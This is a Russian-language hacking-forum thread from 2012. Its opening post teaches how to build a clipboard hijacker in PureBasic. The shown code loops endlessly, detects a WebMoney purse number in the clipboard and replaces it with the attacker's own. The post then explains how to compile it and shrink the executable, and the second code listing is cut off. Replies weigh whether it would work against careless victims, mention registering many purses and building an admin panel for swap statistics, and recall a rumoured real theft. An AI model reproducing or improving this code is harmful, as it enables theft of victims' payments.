HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.11.2012, 20:44
FunOfGun
Постоянный
Регистрация: 05.09.2012
Сообщений: 388
С нами: 7202486

Репутация: 124
По умолчанию

Надеюсь, не нарушу правила форума.

[Intro]


Предлагаю сегодня научиться подменять текст в буфере обмена. Сразу скажу, что я не призываю к кардерству или воровству, цель -- просто показать, насколько просто это может быть.

Писать мы будет на PureBasic. Сейчас, возможно, кто-то сильно разочаровался, не зная, что PureBasic и бейсик, к которому привыкли многие, похожи только синтаксисом. "Под капотом" это абсолютно разные языки. PureBasic -- ничто иное, как простой транслятор бейсика в FAsm, что говорит о многом(асмовые вставки, небольшой размер выходной проги, указатели, отсутствие необходимости в рантаймах и т.д.).

Один минус -- он платный. Но найти полную версию в гугле очень просто, а для наших целей подойдет и демка с офиц. сайта(http://www.purebasic.com/).

[Первый блин]


Итак, приступим. Я, пожалуй, сразу покажу код, а потом его прокоментирую.

Код:
EnableExplicit

Define.s myWMZ="Z123456789012"

Define regex=CreateRegularExpression(#PB_Any, "Z[0-9]+")

While #True
  Define curText.s=GetClipboardText()
  
  If MatchRegularExpression(regex, curtext)
    SetClipboardText(myWMZ)
  EndIf 
  
  Delay(100)
Wend
На самом деле язык очень прост и освоить его по прилогаемому мануалу не проблема. Расмотрим только основные аспекты: первая строка -- команда компилятору предупреждать о необьявленный(объявление переменной -- define) переменных. Ее можно убрать, но не исключены опечатки в именах переменных, из-за которых вся логика программы может разрушиться.

Далее идут объявления переменных, замечу только одно: суфикс ".s" указывает компилятору, что это строка, его можно прилепить как к директиве define(первый вариант), так и к имени переменной(второй).

CreateRegularExpression -- функция, создающая регулярку(прошу прощения за плохой паттерн, это просто пример), для последующего использования.

While #True ... Wend -- бесконечный цикл, в котором происходит все самое интересное: получение текста из буфера обмена(Define curText.s=GetClipboardText()), его сравнение с регуляркой(MatchRegularExpression(regex, curtext)) и если он подходит, то его замена нашим текстом(SetClipboardText(myWMZ)).

Вот и все! Теперь давайте соберем нашу программку. Для этого в IDE шелкните по пункту меню Compiler(у меня англ. версия), далее выбираем пункт CreateExecutable(под опциями компилятора). Дальше все просто.

[Разбор полетов]


У меня получился файл размером в 67 кб. Многовато, не так ли? Давайте его уменьшим. Эксперементально выяснилось, что 60 кб тащит модуль работы с регулярками. Поэтому, если урать все упоминания о нем в коде, избвавимся от лишнего веса.

Опять-таки сразу приведу код:

[CODE]
EnableExplicit

Define.s myWMZ="Z123456789012"

;Define regex=CreateRegularExpression(#PB_Any, "Z[0-9]+")

Procedure IsMatch(text.s)
Define i
If Mid(text,1,1)="Z" And Len(text)=13
For i=2 To Len(text)
Define c=Asc(Mid(text, i,1))
If Not(c>=Asc("0") And c
 
Ответить с цитированием

  #2  
Старый 18.11.2012, 21:33
vaddd
Познающий
Регистрация: 06.01.2009
Сообщений: 69
С нами: 9128075

Репутация: 3
По умолчанию

сабж стар как мир.

таким софтом ты сможешь обворовать лишь школьников, которые не смотрят имя получателя...

да и кошельков тебе придется регать не один десяток под такие дела => нужно будет допилить еще нормальную админку, со статистикой подмены
 
Ответить с цитированием

  #3  
Старый 18.11.2012, 22:31
vaddd
Познающий
Регистрация: 06.01.2009
Сообщений: 69
С нами: 9128075

Репутация: 3
По умолчанию

Цитата:
Сообщение от Nightmarе  
Хорошая мода пошла, выкладываем сплойты, фишки, уязвимости, и всё только для того, чтобы показать свою кристальную честность. Мда...
вайт хацкиры рулят!
 
Ответить с цитированием

  #4  
Старый 18.11.2012, 22:36
FunOfGun
Постоянный
Регистрация: 05.09.2012
Сообщений: 388
С нами: 7202486

Репутация: 124
По умолчанию

Цитата:
Сообщение от vaddd  
сабж стар как мир.
таким софтом ты сможешь обворовать лишь школьников, которые не смотрят имя получателя...
да и кошельков тебе придется регать не один десяток под такие дела => нужно будет допилить еще нормальную админку, со статистикой подмены
Z-кошель просто пример, в остальном согласен.

П.С. были когда-то слухи, что в LR подобным образом увели немалую сумму.

Цитата:
Сообщение от Nightmarе  
Хорошая мода пошла, выкладываем сплойты, фишки, уязвимости, и всё только для того, чтобы показать свою кристальную честность. Мда...
Честность здесь не при чем. Статья писалась в основном для "пробы пера".
 
Ответить с цитированием

  #5  
Старый 18.11.2012, 22:49
vaddd
Познающий
Регистрация: 06.01.2009
Сообщений: 69
С нами: 9128075

Репутация: 3
По умолчанию

про лр верю, например я, получив кошелек через асю от селлера, копирую, оплачиваю

название кошелька редко смотрю

как и большинство наверное

только заразить меня горазно сложнее чем всяких хомячков-школьников
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.